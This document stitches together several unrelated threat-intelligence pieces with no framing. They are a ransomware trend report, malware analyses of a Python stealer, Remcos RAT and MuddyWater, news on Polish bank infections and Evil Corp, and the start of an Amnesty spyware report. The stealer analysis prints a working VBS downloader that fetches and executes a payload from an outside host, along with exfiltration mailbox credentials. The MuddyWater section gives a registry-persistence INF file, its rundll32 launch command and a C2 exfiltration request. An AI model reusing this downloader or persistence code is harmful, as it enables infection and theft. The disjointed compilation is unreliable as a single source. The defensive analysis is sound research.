The most common software vulnerabilities exploited during Q1 involved VPN appliances, such as Fortinet and Pulse Secure. Several RaaS services leveraged these VPN vulnerabilities during Q1. Again, it is likely that the actual RaaS operators and affiliates were NOT the party that achieved network access via these vulnerabilities, but rather specialist actors that harvest network credentials and are specifically trained to mass scan for vulnerable IP addresses. These specialists then resell network access to ransomware affiliates who use the access to stage the extortion phase of the attack. This deliberate division of labor sheds light on how open RaaS operations that focus on smaller victims, like Lockbit, were able to take advantage of vulnerabilities outside of their skillset. Specialization and supply chain coordination also highlight the continued evolution of the cyber extortion economy.
## Attack Vectors used by Ransomware Actors on Different Sized Victims
During Q1, the cyber extortion economic supply chain demonstrated how a vulnerability in widely used VPN appliances can be identified, exploited, and monetized by ransomware affiliates. It is rare to see software vulnerabilities directly leveraged by affiliates of RaaS groups, but when specialists broadly market the results of their illicit skills, then the costs of carrying out an attack decline and lower the barriers to entry for new cyber criminals. The continued evolution and specialization of the ransomware supply chain is a worrisome trend. Lower overall operating costs drop the barrier to entry AND boost the profitability of attacks. Until the unit economics of ransomware attacks becomes less profitable, we should expect the volume of attacks to continue to increase. Even more worrisome is the maturity and progression of the supply chain within the cyber extortion economy. The infrastructure that is being created to run this economy will be difficult to unwind. The more mature the supply chain is allowed to become, the harder it will be to dismantle.
## Most Industries Impacted by Ransomware in Q1 2021
The most notable change in industries impacted by ransomware attacks in Q1 was the Professional Services industry, specifically law firms. Small and medium-sized law firms continue to succumb to encryption ransomware and data exfiltration extortion attacks. Unfortunately, the economics of many small professional service firms do not encourage or enable adequate cybersecurity.
For example, many law firms are structured as limited partnerships for tax purposes. This means the firm pays out all its profit to the partners every year. The desire to maximize profits and income to the partners can marginalize the priority of investing in cybersecurity. Another example is the third-party vendor relationships of a small law firm. These firms generally do not work with major enterprises that would perform rigorous cyber risk assessments, the most basic of which would immediately surface common vulnerabilities and weaknesses that may result in a future ransomware attack. Rather, small firms tend to have equally sized clients that do not demand vendor assessments of cyber risk. As a result of these two examples, there is minimal internal or external market pressure to prioritize cybersecurity. The volume of professional service firms that are victimized is a result of these micro dynamics.
## Median Size of Ransomware Attack Victims in Q1 2021
Ransomware attacks still disproportionately affect small businesses. These small companies rarely end up in the headlines and often don’t have the financial or technical expertise to properly handle the incident or perform the proper remediation required to prevent a repeat attack. Small businesses that exist below the cybersecurity poverty line represent the greatest challenge to stemming the expansion of the cyber extortion economy.
## Incident Duration and Business Interruption of a Ransomware Attack
**Average Days of Downtime**
23
+10% from Q4 2020
Incident duration expanded slightly in Q1 to an average of 23 days. Contributing factors to this increase were the average length of time it takes to adjudicate data exfiltration incidents and technical challenges from corrupted data. Q1 also included multiple instances of deliberate disruption by the threat actor during the recovery period following the initial attack. Disruptions included attempts to steal additional data or re-launch the ransomware. Prior to Q1, such behavior was a rare occurrence, but the tactic appears to be gaining traction amongst certain threat groups. This behavior not only exacerbates business interruption but delays negotiation progress. This behavior also undermines the victim’s confidence that the threat actor will assist in a successful resolution. The threat actor’s expectation that re-attacking increases the pressure to pay is misguided. Re-attacks make victims less inclined to facilitate any sort of payment. |
# Python Stealer Distribution via Excel Maldoc
Today I became aware of an interesting sample that turned out to be a stealer written in Python. It all started with an email that had a malicious Excel document attached: `4c9e0da6515b621f41d21f1fd75b30f41ee0765598f1ad4c2a2698f63808445c - PO850647-1648.xls`. As usual, the Excel document contains a macro which downloads and executes another payload. In this case, the second payload was a VBS file stored at `hxxp://188[.]127.254.61/6846546874968946.php`.
One thing to note here is that the attackers blocked IP addresses from countries outside their current target area; for example, the download worked from Germany but did not work from several other European countries.
The VBS looks pretty simple and only has one job to do: to download and store the final payload:
```vbscript
winex_aa = "https://u.teknik.io/0k9L0.mp4"
winex_bb = Right(Year(Now),2) & Right("00" & Month(Now),2) & Right("00" & Day(Now),2) & Right("00" & Hour(Now),2) & Right("00" & Minute(Now),2) & Right("00" & Second(Now),2)
winex_cc = "C:\Windows\Temp\XM" & winex_bb & ".exe"
Set winex_dd = CreateObject("MSXML2.XMLHTTP")
winex_dd.open "GET", winex_aa, false
winex_dd.send()
If winex_dd.Status = 200 Then
Set winex_ee = CreateObject("ADODB.Stream")
winex_ee.Open
winex_ee.Type = 1
winex_ee.Write winex_dd.ResponseBody
winex_ee.Position = 0
winex_ee.SaveToFile winex_cc
winex_ee.Close
Set winex_ee = Nothing
End If
Set winex_dd = Nothing
Set winex_ff = CreateObject("WScript.Shell")
winex_ff.Exec(winex_cc)
```
The final payload is quite large (13-14MB) and after looking for strings, it became clear that it is malware written in Python with lots of different external modules.
The most common way to make a Windows executable from Python code is to use PyInstaller. In order to reverse the process, you can use PyInstaller Extractor. When running PyInstaller Extractor, you will see quite a lot of useful information in the log, for example, the used PyInstaller version, the used Python version, and most importantly, the possible entry point.
As also described on the PyInstaller Extractor GitHub page, we can try to decompile the pyc files. Since `tx.pyc` is the suggested entry point, we will start with that. Before decompiling the pyc file, we need to fix the header because PyInstaller removed those bytes. In order to do so, we just add the following bytes at the beginning of the file: `42 0d 0d 0a 00 00 00 00 e4 b9 18 5d 00 00 00 00`.
For decompiling Python byte code, there are different tools available like Uncompyle6 or decompyle3. However, none of them in the latest version worked for me for whatever reason. Maybe it’s because I used the latest version, because Uncompyle6 version 2.7 seems to work (thanks @bbaskin for the hint). I ended up using unpyc3 to decompile the pyc file, which gave me around 12,000 lines of Python code.
I just analyzed a small portion of the sample because when scrolling through the code, it was quite obvious that this must be a stealer. There are tons of functions searching for credentials for different tools/services, even KeeThief is included. My interest was in how the data is exfiltrated. After searching around a little bit, I could spot a list containing two dictionaries with SMTP credentials (I renamed the variable for better readability):
```python
emails_for_exfil = [
{'email': '[email protected]', 'pass': 'lyhdqnatklklhvzf', 'server': 'smtp.mail.yahoo.com', 'port': 587, 'security': 'TLS'},
{'email': '[email protected]', 'pass': 'fagvjohnktkopgol', 'server': 'smtp.mail.yahoo.com', 'port': 587, 'security': 'TLS'}
]
```
Following this list, I could spot the function sending emails which takes the harvested credentials as input. Similar to AgentTesla, this stealer is exfiltrating stolen data via sending emails to specific hard-coded accounts. There is currently no official name for the malware, and it does not appear to be widespread. James flagged it as Eightaliuim because of some strings inside the sample.
If anyone has more samples or more details about this campaign, please let me know.
## IOCs:
- **Excel dropper:** `4c9e0da6515b621f41d21f1fd75b30f41ee0765598f1ad4c2a2698f63808445c`
- **Download link for the VBS called from the dropper:** `http://188.127.254.61/6846546874968946.php`
- **VBS payload to download final payload:** `ad109cb6bedbe3a492aca14b5ce603465b52aa88a3477692591556ef8702227e`
- **Called from the VBS payload to download the final payload:** `https://u.teknik.io/0k9L0.mp4`
- **Email receiving stolen credentials:** `[email protected]`, `[email protected]` |
# Polish Banks Infected with Malware Hosted on Their Own Government's Site
Several Polish banks said they suffered malware infections after their employees visited the site of the Polish Financial Supervision Authority (KNF), which had been previously infected to host a malicious JavaScript file. Zaufana Trzecia Strona, a local Polish news site, first reported the attacks late Friday, last week. The news site said that during the past week, the security teams at several, yet unnamed, Polish banks detected downloads of suspicious files and encrypted traffic going to uncommon IPs situated in many foreign countries.
As employees at different banks started looking into their systems, they found malware installed on numerous workstations and even some servers.
## KNF website hosted malicious JavaScript file
Subsequent investigations and a cooperation between different banks eventually discovered the source of the infection as being the official website of KNF, which, ironically, is the regulating body that keeps an eye out for the security of financial systems in Poland. According to reports, KNF's website had been compromised for well over a week, as an unidentified attacker had modified one of the site's JavaScript files. Visitors accessing the KNF website would load the malicious JavaScript file as part of the website's regular resources.
### JavaScript file would lead to RAT infection
The JavaScript code worked by opening a hidden iframe and forcibly downloading a file on the victim's computers. Users that discovered and executed this file would install a remote access trojan (RAT) on their computers. According to Zaufana Trzecia Strona, this malware has a zero detection rate on VirusTotal and appears to be a new malware strain, never-before-seen in live attacks.
KNF's staff have cleaned their site and along with the affected banks, have reported the incidents to CERT.pl. They also released a statement acknowledging the website hack on Friday, but haven't provided other details about the attack. The affected Polish banks said the malware that infected their computers and servers encrypted its outgoing traffic and they weren't able to tell what the attackers stole.
### No customer funds stolen
Banks reassured their clients and said they haven't detected any unauthorized transactions, but only the mysterious outgoing traffic. Local media believes the attack is the work of a foreign intelligence agency. A more believable theory would be that this is the work of one of the many cyber-crime syndicates specialized in cyber-thefts from financial institutions. The attacks have the signs of classic network reconnaissance operations, where hackers gather intelligence in order to create a map of a victim's network before launching their final assaults. |
# Analysis: New Remcos RAT Arrives Via Phishing Email
In July, we came across a phishing email purporting to be a new order notification, which contains a malicious attachment that leads to the remote access tool Remcos RAT (detected by Trend Micro as BKDR_SOCMER.SM). This attack delivers Remcos using an AutoIt wrapper that incorporates various obfuscation and anti-debugging techniques to evade detection, which is a common method for distributing known malware.
Remcos RAT emerged in 2016 being peddled as a service in hacking forums — advertised, sold, and offered cracked on various sites and forums. The RAT appears to still be actively pushed by cybercriminals. In 2017, we reported spotting Remcos being delivered via a malicious PowerPoint slideshow, embedded with an exploit for CVE-2017-0199. Recently, the RAT has made its way to phishing emails.
The malicious actor behind the phishing email appears to use the email address [email protected] (with a legitimate domain) and the subject "RE: NEW ORDER 573923". The email includes the malicious attachment using the ACE compressed file format, Purchase order201900512.ace, which has the loader/wrapper Boom.exe.
## Analyzing the wrapper/loader
After converting the executable to AutoIt script, we found that the malicious code was obfuscated with multiple layers, possibly to evade detection and make it difficult for researchers to reverse. The top layer of obfuscation is shown in the following:
The main goal of the Boom.exe file is to achieve persistence, perform anti-analysis detection, and drop/execute Remcos RAT on an affected system. The above snippet code first calculates the value inside the array and then uses the ChrW() function to convert the Unicode number to the character.
In some cases after decryption, the malware uses the AutoIt function called BinaryToString() to deobfuscate the next layer. The following code snippet demonstrates this behavior.
After deobfuscation, the AutoIt code can be seen containing large amounts of junk code meant to throw analysts off the track.
The malware then creates a copy of itself in %AppData%\Roaming\appidapi\UevTemplateBaselineGenerator.exe and loads the main payload (Remcos RAT) from its resource section. The malware then prepares the environment to execute the main payload. It achieves this by executing the following Shellcode (frenchy_shellcode version 1).
## Decoding and loading Remcos from resources
The DecData() function loads the data from its resource then reverses all data and replaces “%$=” with “/”.
Then it uses the following to decode the base64 PE file, which is the main payload:
```
$a_call = DllCall("Crypt32.dll", "int", "CryptStringToBinary", "str", $sData, "int", 0, "int", 1, "ptr", 0, "ptr", DllStructGetPtr($struct, 1), "ptr", 0, "ptr", 0)
```
## Loader features
### Anti-VM
This AutoIt loader is capable of detecting a virtual machine environment by checking vmtoolsd.exe and vbox.exe in the list of running processes. However, it should be noted that this feature is not invoked in this sample.
### Bypass UAC
Depending on the Windows version, the malware uses either the built-in Event Viewer utility (eventvwr) or fodhelper to bypass the User Account Control (UAC).
### Anti-Debugging
If the loader detects IsdebuggerPresent in the system, it will display the message, “This is a third-party compiled AutoIt script.” and exits the program.
## Examining the main payload, Remcos RAT
Originally marketed as a remote access tool that legitimately lets a user control a system remotely, Remcos RAT has since been used by cybercriminals. Once the RAT is executed, a perpetrator gains the ability to run remote commands on the user’s system. In a past campaign, for instance, the tool was seen with a variety of capabilities, which includes downloading and executing commands, logging keys, logging screens, and capturing audio and video using the microphone and webcam.
For the analysis of this payload, we looked into the sample Remcos Professional version 1.7.
Upon execution, depending on the configuration, the malware creates a copy of itself in %AppData%\remcos\remcos.exe, uses install.bat to execute remcos.ex$ from the %APPDATA% directory, and finally deletes itself. It then creates the following Run key in the Registry to maintain persistence on the system.
The malware retrieves the configuration called “SETTING” from its resource section. The content of the configuration is encrypted using the RC4 algorithm.
The following, on the other hand, is the RC4 algorithm used to decrypt the above configuration.
The malware then creates the following mutex to mark its presence on the system. It then starts to collect system information such as username, computer name, Windows version, etc., which it sends to the command and control (C&C) server. The malware encrypts the collected data using the RC4 algorithm with the password “pass” from the configuration data.
The following list shows some of the commands supported by the malware:
| Commands | Description |
|-----------------------------------|-----------------------------------------------------------------------------|
| Clipboarddata | Getclipboard, Setclipboard, Emptyclipboard |
| deletefile | Delete file(s) |
| downloadfromurltofile | Download a file from specified URL and execute it on an infected system |
| execcom | Execute a shell command |
| filemgr | File manager |
| getproclist | List the running processes |
| initremscript | Execute remote script from C&C |
| keyinput | Keylogger |
| msgbox | Display a message box on an infected system |
| openaddress | Open a specified website |
| OSpower | Shutdown, restart, etc. |
| ping | Ping an infected system (used for network check) |
| prockill | Kill a specific process |
| regopened, regcreatekey, regeditval, regdelkey, regdelval | Add, edit, rename, or delete registry values and keys |
| scrcap | Screen capture |
| sendfiledata | Upload data to C&C server |
| uninstall | Uninstall itself from an infected system |
The “consolecmd” command is used to execute shell commands on an infected system.
After analyzing this Remcos variant — its configuration data, communication mechanism, and functionalities — we saw that it had many similarities with its older variant (detected as Backdoor.Win32.Remcosrat.A). However, this particular campaign delivers Remcos using an AutoIt wrapper, which incorporates different obfuscation and anti-debugging techniques to avoid detection.
## Prevention and Trend Micro Solutions
To defend against threats like Remcos RAT that use email-based attacks, we advise users to refrain from opening unsolicited emails — especially those with attachments — from unknown sources. Users should also exercise caution before clicking on URLs to avoid being infected with malware. For enterprises, if an anomaly is suspected in the system, report the activity to the network administrator immediately.
We also recommend these best practices for added protection:
- Learn how to identify phishing emails and spot indicators of unwanted emails (i.e., misspellings, odd vocabulary)
- Update applications and systems regularly
- Apply whitelisting, block unused ports, and disable unused components
- Monitor traffic in the system for any suspicious behavior
Implementing security solutions with anti-spam filtering should weed out spam messages such as the one discussed here. The use of a multilayered solution such as Trend Micro™ Deep Discovery™ will help provide detection, in-depth analysis, and proactive response to today’s stealthy malware such as Remcos RAT, and targeted attacks in real-time. It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle. Trend Micro™ Deep Discovery™ Inspector prevents malware from reaching end users. For a more comprehensive security suite, organizations can consider the Trend Micro™ Cloud App Security™ solution, which employs machine learning (ML) in web reputation and URL dynamic analysis. The solution can also detect suspicious content in the message body and attachments as well as provide sandbox malware analysis and document exploit detection.
## Indicators of Compromise (IoCs)
| File Name and Email Address | Note | SHA-256 Hash | Trend Micro Pattern De |
|------------------------------------------------|-----------------|-----------------------------------------------------------------------------|------------------------|
| Purchase order201900512.ace | Email attachment | cf624ccc3313f2cb5a55d3a3d7358b4bd59aa8de7c447cdb47b70e954ffa069b | Backdoor.Win32.REMC |
| Boom.exe | ACE file content | 1108ee1ba08b1d0f4031cda7e5f8ddffdc8883db758ca978a1806dae9aceffd1 | Backdoor.Win32.REMC |
| remcos.ex$ | Remcos RAT | 6cf0a7a74395ee41f35eab1cb9bb6a31f66af237dbe063e97537d949abdc2ae9 | BKDR_SOCMER.SM |
| [email protected] | Sender ID | | | |
# Evil Corp Demands $40 Million in New Macaw Ransomware Attacks
Evil Corp has launched a new ransomware called Macaw Locker to evade US sanctions that prevent victims from making ransom payments. The Evil Corp hacking group, also known as Indrik Spider and the Dridex gang, has been involved in cybercrime activities since 2007, but mostly as affiliates to other organizations. Over time, the group began focusing on their own attacks by creating and distributing a banking trojan known as Dridex in phishing attacks.
## Moving to Ransomware
As ransomware attacks became increasingly more profitable, Evil Corp launched an operation called BitPaymer, delivered via the Dridex malware to compromised corporate networks. The hacking group's criminal activity ultimately led them to be sanctioned by the US government in 2019. Due to these sanctions, ransomware negotiation firms will no longer facilitate ransom payments for operations attributed to Evil Corp. To bypass US sanctions, Evil Corp began creating limited use ransomware operations under various names such as WastedLocker, Hades, Phoenix CryptoLocker, and PayLoadBin. Other ransomware families that are believed but not proven to be affiliated with Evil Corp is DoppelPaymer, which was recently rebranded as Grief.
## Introducing Macaw Locker
This month, Olympus and Sinclair Broadcast Group had their operations severely disrupted by weekend ransomware attacks. For Sinclair, it caused TV broadcasts to be cancelled, different shows to air, and newscasters to report their stories with whiteboards and paper.
This week, it was discovered that both attacks were conducted by a new ransomware known as Macaw Locker. In a conversation with Emsisoft CTO Fabian Wosar, BleepingComputer was told that, based on code analysis, Macaw Locker is the latest rebrand of Evil Corp's ransomware family. BleepingComputer has also learned from sources in the cybersecurity industry that the only two known Macaw Locker victims are Sinclair and Olympus. Sources also shared the private Macaw Locker victim pages for two attacks, where the threat actors demand a 450 bitcoin ransom, or $28 million, for one attack and $40 million for the other victim. It is unknown what company is associated with each ransom demand.
The Macaw Locker ransomware will encrypt victims' files and append the .macaw extension to the file name when conducting attacks. While encrypting files, the ransomware will also create ransom notes in each folder named macaw_recover.txt. For each attack, the ransom note contains a unique victim negotiation page on the Macaw Locker's Tor site and an associated decryption ID, or campaign ID.
The gang's dark web negotiation site contains a brief introduction to what happened to the victim, a tool to decrypt three files for free, and a chatbox to negotiate with the attackers.
Now that Macaw Locker has been exposed as an Evil Corp variant, we will likely see the threat actors rebrand their ransomware again. This constant cat-and-mouse game will likely never end until Evil Corp stops performing ransomware attacks or sanctions are lifted. However, neither of those scenarios is likely to take place in the immediate future. |
# The Muddy Waters of APT Attacks
The Iranian APT, MuddyWater, has been active since at least 2017. Most recently, a new campaign targeting Belarus, Turkey, and Ukraine has emerged that caught the attention of Check Point researchers.
Ever since at least 2017, the attackers behind MuddyWater have used a simple yet effective infection vector: spear-phishing. Attacks usually begin with a targeted email sent to an organization. The next step is to steal legitimate documents from the compromised systems within that organization and then weaponize and distribute them to other unsuspecting victims. To do this, a lure message that prompts the user to enable their content is added to those files, which often carry logos of real companies or governmental entities. The well-crafted and socially engineered malicious documents then become the first stage of a long and mainly fileless infection chain that eventually delivers POWERSTATS, a signature PowerShell backdoor of this threat group. This powerful backdoor can receive commands from the attackers, enabling it to exfiltrate files from the system it is running on, execute additional scripts, delete files, and more.
While these methods have remained consistent over the years, intermediate stages of this attack have been added, changed, and removed due to several security vendors now aware of MuddyWater’s tactics, techniques, and procedures. In this latest attack, though, and for the first time, we see a second stage executable that is not written in PowerShell.
## The New Sample
We initially came across a malicious Word document titled “SPK KANUN DEĞİŞİKLİĞİ GİB GÖRÜŞÜ.doc”, which roughly translates into “SPK (Capital Markets Board of Turkey) Law Change.doc”. The document contains macros and tries to convince the victim to enable its content by displaying a decoy message in Turkish.
The blurred image in the background contains a seemingly legitimate description of the law changes that are mentioned in the title. The highlighted words in this image might suggest that it was edited in an environment that does not support the Turkish language.
## The Infection Flow
If the macros in “SPK KANUN DEĞİŞİKLİĞİ GİB GÖRÜŞÜ.doc” are enabled, an embedded payload is decoded and saved in the %APPDATA% directory with the name “CiscoAny.exe”. The executable is written in Delphi and packed with UPX, contains anti-analysis techniques, and seems to be impersonating a cellular networking tool:
- **Copyright**: Copyright 2015-2019 A&C Inc.
- **Product**: RT 4G Cellular Networking Tool
- **Description**: RT 4G Cellular Networking
- **Original Name**: RT_Framework.exe
- **Internal Name**: RT_4G
- **File Version**: 1.5.1.1
- **Comments**: This application is absolutely free.
Rather than running this executable immediately, another file called “CiscoTAP.inf” is created under the same directory with the following content:
```
[Version]
Signature=$CHICAGO$
[DefaultInstall]
AddReg=AddRegSection
[AddRegSection]
HKCU,Software\Microsoft\Windows\CurrentVersion\Run,CiscoAny,,”%APPDATA%\CiscoAny.exe”
```
Then, the following command is executed to run the payload:
```
“C:\Windows\System32\cmd.exe” /k rundll32.exe ieadvpack.dll,LaunchINFSection %APPDATA%\CiscoTAP.inf,,1,
```
This means that the executable will run the next time the user logs in, since it is added to the RUN registry key. IEAdvpack is a Windows 8 DLL, and this command will fail to run on certain operating system versions where this DLL is not found. INF files have been used in the past by MuddyWater, although they were launched using Advpack.dll and not IEAdvpack.dll.
Once executed, the first stage creates %APPDATA%\ID.dat, a file which contains the victim’s unique identifier that is 16 characters long and randomly generated:
```
[UID]
ID=[VICTIM_ID]
```
Later it collects information about the system it is running on, such as the host’s name, the running processes, physical memory, up-time, language, public IP (using icanhazip.com), and more. All of the above is written to %APPDATA%\Info.txt, and the full information structure can be found in Appendix A below.
Following the data collection, the executable drops another executable, also named “CiscoAny.exe”, that is hardcoded as a resource, but this time inside the %TEMP% folder. The second executable is also UPX packed and written in Delphi:
- **Product**: Uploader
- **Description**: Uploader
- **Original Name**: CiscoAny.exe
- **ProgramId**: com.embarcadero.Uploader
- **File Version**: 1.0.0.0
Finally, the aforementioned ID.dat file is updated to indicate that the first stage of the infection has been successful:
```
[UID]
ID=[VICTIM_ID]
[STAGE]
ONE=SUC
```
## The Second Stage
The second executable starts by checking the internet connectivity. It sends a request to, and if the connection is successful, it copies the contents of the previously created “Info.txt” into %APPDATA%\[UNIQUE_ID].txt.
Then, it will POST the file containing the system details to 185.117.75[.]116.php:
```
—————————–[VICTIM_ID]
Content-Disposition: form-data; name=”g3t_f_465″; filename=”[UNIQUE_ID].txt”
Content-Type: application/octet-stream
[INFO.TXT CONTENT]
—————————–[VICTIM_ID]
Content-Disposition: form-data; name=”t0ken”
a8s9ydehj323r8ykjqwer@8124e
—————————–[VICTIM_ID]–
```
The name parameters (“g3t_f_465” and “t0ken”) in this request are determined by the items of the TclHttpRequest object in the TFRMMAIN resource, embedded in the executable.
Returning to the main executable, a request is sent to googleads.hopto[.]org with the victim’s unique ID. The response from the C&C is stored in %APPDATA%\temp.dat and copied into %APPDATA%\Lib.ps1. The main executable constantly checks for “Lib.ps1” and tries to execute its content. At the time of the analysis, we were unable to get a response from the C&C, but, as previously mentioned, POWERSTATS is a common tool for the next stage of the infection.
## Anti-Analysis
The anti-analysis technique utilized in the first executable is quite effective and makes it very hard to analyze this sample statically. The obfuscation creates a spaghetti-like code and breaks apart the original code flow into small chunks, with the location of the next “real” instruction calculated dynamically. Following are examples of such code, where the next instruction location is calculated, and then jumped to (either by “jmp” or “retn”):
## Similarities to MuddyWater
The document and the embedded macros contained unique strings that enabled us to hunt for other similar samples using them. This resulted in us finding three recent documents that appear to belong to the same campaign, some of which have been attributed to MuddyWater by other researchers:
- **Name**: 2-Merve_Cooperation_CV.doc
- **First Seen**: Jan 02, 2019
- **SHA-256**: c873532e009f2fc7d3b111636f3bbaa307465e5a99a7f4386bebff2ef8a37a20
- **Name**: 3-New Law Updated for Client-VMP.doc
- **First Seen**: Jan 08, 2019
- **SHA-256**: 925225002364615b964e4e3704876d9b101e4f07169dbb459175248aefb5a0ad
- **Name**: letter-for-Kazakhstan.doc
- **First Seen**: Jan 16, 2019
- **SHA256**: c005e11a037210eb8efe12b8dee794be36151de30b0223f2c9c4b9680cb033c0
In addition, by using VBA2Graph, we were able to visualize the VBA call graph in the macros of each document. This allowed us to quickly notice that the files share many similarities, such as their function names, parameter names, decryption methods, and general code flow. For example, the function “UFYYRJSFHX” that writes the decoded payload to the file system appears in all of them.
We have color-coded the functions below, highlighting analogous functions to better show the similarities between the different graphs in this campaign, starting with the document from the infection flow we analyzed above.
All those documents are from 2019, but the last two contain unique function names (“F38HUYFLSF985HFUISHS” and “SSSDS98746GB”) that were also observed in MuddyWater documents dating back to November 2018, allowing us to see a connection between different campaigns.
## MuddyWater Anomalies
While we can see a clear connection between the previous samples, there are some differences between them and the common delivery documents which are usually attributed to this highly active threat group. For example, if we consider their appearance, and although this is not always the case, MuddyWater documents usually include a generic decoy message in English telling the victim to enable their content. This is missing from two of the previous samples and written in Turkish in the third one.
Furthermore, if we continue to compare the macros of different documents, we will notice that a sample we discovered this month and attributed to MuddyWater uses another function naming convention in its macros (four lowercase letters, instead of a mix of uppercase letters and numerals).
This deviates completely from the previous documents we looked into, but was also found in other MuddyWater samples from the recent months. It therefore seems that the same attackers are running parallel campaigns, which use at least two different macro generators for the first stage of the attack.
## Conclusion
Although it has focused most of its efforts on the Middle East region, the political affiliations, motives, and purposes behind MuddyWater’s attacks are not very well-defined, thus earning it its name. In the past, countries such as Saudi Arabia, the UAE, and Turkey have been a main target, but the campaigns have also reached a much wider audience, making their way to victims in countries such as Belarus and Ukraine.
The attackers are also constantly innovating and experimenting with new techniques, and the extra layers which they add before delivering their signature payload make it harder to attribute an attack to them with high confidence. Just recently, we spotted two DOCX files that take advantage of the external template technique to download the macro-equipped and familiar delivery documents of MuddyWater from remote hosts.
To conclude, the attack we describe above shows an infection flow that we do not usually expect to see from MuddyWater, but it will not be surprising to see them introduce more changes in the near future.
---
## Check Point’s Threat Emulation
The malware used in this attack was caught using Check Point’s Threat Emulation. Threat Emulation is an innovative zero-day threat sandboxing capability, used by SandBlast Network to deliver the best possible catch rate for threats and is virtually immune to attackers’ evasion techniques. As part of the Check Point SandBlast Zero-Day Protection solution, Threat Emulation prevents infections from new malware and targeted attacks.
## Appendix A
- **IP Address**: [IP_ADDRESS]
- **HDD Information**:
- H.D.D Name: [HOST_NAME]
- **Process List**:
- 0 = [PROCESS_NAME_0]
- 1 = [PROCESS_NAME_1]
- 2 = [PROCESS_NAME_2]
- 3 = [PROCESS_NAME_3]
- 4 = [PROCESS_NAME_4]
- 5 = [PROCESS_NAME_5]
- 6 = [PROCESS_NAME_6]
- 7 = [PROCESS_NAME_7]
- 8 = [PROCESS_NAME_8]
- 9 = [PROCESS_NAME_9]
- 10 = [PROCESS_NAME_10]
- **Memory information**:
- [%] memory in use
- [KB] of physical memory
- [KB] of available physical memory
- [KB] that can be stored in the paging file
- [KB] available in the paging file
- **Language Is**: English (United States)
- **Uptime**: 1 Days 1 Hours 1 Minutes 1 Second |
# HACKERS-FOR-HIRE IN WEST AFRICA
## ACTIVIST IN TOGO UNDER ATTACK WITH INDIAN-MADE SPYWARE
Amnesty International is a movement of 10 million people which mobilizes the humanity in everyone and campaigns for change so we can all enjoy our human rights. Our vision is of a world where those in power keep their promises, respect international law and are held to account. We are independent of any government, political ideology, economic interest or religion and are funded mainly by our membership and individual donations. We believe that acting in solidarity and compassion with people everywhere can change our societies for the better.
---
## 1. EXECUTIVE SUMMARY
“Having realized that this was an attempt at digital espionage, I felt in danger. I can't believe that my work could be so disturbing to some people that they would try to spy on me. I am not the only one working for human rights in Togo. Why me?”
— Togo-based human rights defender who was targeted by this surveillance campaign.
Amnesty International has uncovered a targeted digital attack campaign against a prominent human rights defender (HRD) in Togo. The HRD was targeted in late 2019 and early 2020 with both Android and Windows spyware. The attackers did not successfully compromise the HRD’s devices.
The Amnesty International Security Lab investigation found that the spyware used in these attack attempts is tied to an attacker group known in the cybersecurity industry as the Donot Team, previously connected to attacks in India, Pakistan and neighbouring countries in South Asia. Digital records identified during this investigation reveal that hundreds of individuals across South Asia and the Middle East were also targeted by Donot Team Android spyware. However, further investigation into these targets is outside the remit of this report as it focuses on the digital attacks against the Togolese HRD.
Amnesty International has also identified apparent links between the Donot Team spyware and an Indian cybersecurity company, Innefu Labs Pvt. Ltd., which advertises digital security, data analytics, and predictive policing services to law enforcement and armed forces. Amnesty International found two key pieces of evidence connecting Innefu Labs to the Donot Team Android spyware and to the specific infrastructure used to deliver the Android spyware to the HRD in Togo.
Firstly, Amnesty International found a screenshot from an infected test Android phone exposed on a Donot Team server. The screenshot shows an operator apparently testing the Donot Team Android spyware. The operator is communicating with a WhatsApp account called “UserTester” and sending messages such as “Testing WhatsApp notifications”. This suggests the attacker is testing the functionality of the spyware. The screenshot was taken as the attacker was in the process of typing using the custom SwiftKey keyboard on the device. The SwiftKey keyboard suggested two URLs which had previously been typed and stored on the custom keyboard. One of these URLs was the spyware distribution website, bulk[.]fun, used to send spyware to the HRD in Togo. The other was an IP address tied to Innefu Labs.
The Innefu Labs IP address and the bulk[.]fun URL would only be suggested by the keyboard if the attacker using this test phone had previously interacted with both the spyware server and the Innefu Labs IP address.
Secondly, the same Innefu Labs IP address was recorded in log files left publicly exposed on the bulk[.]fun website used to distribute Donot Team spyware. This links the Innefu Labs IP address not only to the testing of the Donot Team Android spyware, but to the specific Internet infrastructure involved in the distribution of the spyware used to target the HRD in Togo.
Additional circumstantial evidence corroborating spyware development activity linked to Innefu Labs is presented later in this report. The technical evidence suggests that Innefu Labs is involved in the development or deployment of some Donot Team spyware tools. These tools may then be used by a range of hacker-for-hire actors which are grouped under the “Donot Team” cluster.
There is no sufficient evidence to indicate whether Innefu Labs had any direct involvement in the targeting of the HRD in Togo. Although the Innefu Labs IP address is connected to both the spyware distribution website and to the Donot Team spyware, Innefu Labs may not necessarily know how any third parties are using these spyware tools.
The activity linked to the Donot Team may involve multiple distinct actors or organisations with access to the same custom spyware toolset. The identity of all individuals or groups involved with Donot Team activity is unknown. This report focuses only on the actors linked to the attempted attacks against the HRD in Togo. These attacks may involve only a subset of the Donot Team attack group or be linked to a separate group with access to the Donot Team spyware tools.
Based on the evidence collected in this research, Amnesty International believes that Innefu Labs may play a role in the development and/or deployment of some of the spyware tools which have been previously linked to Donot Team. This case highlights the threat “hacker-for-hire”-type attacks pose to human rights defenders and to civil society globally. “Hacker-for-hire” attacks are offensive cyber operations performed by a threat actor (“a hacker”) normally on behalf of paying customers. These customers may include domestic government agencies, foreign governments or commercial entities. Cyber operations can be used for intelligence gathering, destructive attacks (such as damaging industrial systems) or financial gain.
Innefu Labs should urgently conduct an external audit and publish the findings of the audit regarding the apparent links between Innefu Labs and the spyware infrastructure used in the attacks against the HRD from Togo. Innefu Labs should further urgently adopt a human rights policy and conduct adequate human rights due diligence, the results of which should be disclosed, to identify, prevent, mitigate, and address any adverse human rights impacts which Innefu Labs may cause, contribute to, or be directly linked to.
States have a responsibility to respect and protect human rights. The Indian government should launch a credible, transparent, independent, and impartial investigation into the cyberattacks which are linked to the Donot Team group and to Innefu Labs. Further, authorities in both India and Togo should impose an immediate moratorium on the sale, transfer, and use of spyware technology until there is a robust human rights-compliant regulatory framework in place. The Togo government should take steps to investigate, and redress the harm caused by such attacks from private actors or entities.
---
## 2. METHODOLOGY
This report investigates attempted targeted digital surveillance against a prominent HRD based in Togo. It covers specific attack attempts that occurred between December 2019 and January 2020. The primary investigation occurred in early 2020 with additional technical research carried out in the spring of 2021.
In December 2019, Amnesty International’s Security Lab was contacted by the HRD after they began receiving suspicious messages on their mobile phone and later by email. The HRD is not named in this report for security reasons.
